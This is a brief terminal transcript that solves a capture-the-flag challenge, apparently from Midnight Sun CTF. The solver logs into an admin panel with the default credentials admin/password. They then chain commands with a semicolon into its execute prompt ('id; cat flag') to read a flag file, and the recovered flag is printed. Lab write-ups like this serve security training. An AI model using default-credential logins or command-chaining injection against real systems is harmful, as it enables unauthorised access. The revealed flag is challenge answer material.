$ nc admpanel-01.play.midnightsunctf.se 31337
---=-=-=-=-=-=-=-=-=---
-      Admin panel    -
-
- [0] - Help
- [1] - Authenticate
- [2] - Execute command
- [3] - Exit
---=-=-=-=-=-=-=-=-=---
 > 1
  Input username: admin
  Input password: password
 > 2
  Command to execute: id; ls
uid=999(ctf) gid=999(ctf) groups=999(ctf)
chall
flag
redir.sh
 > 2
  Command to execute: id; cat flag
uid=999(ctf) gid=999(ctf) groups=999(ctf)
midnight{n3v3r_4sk_b0bb_to_d0_S0m3TH4Ng}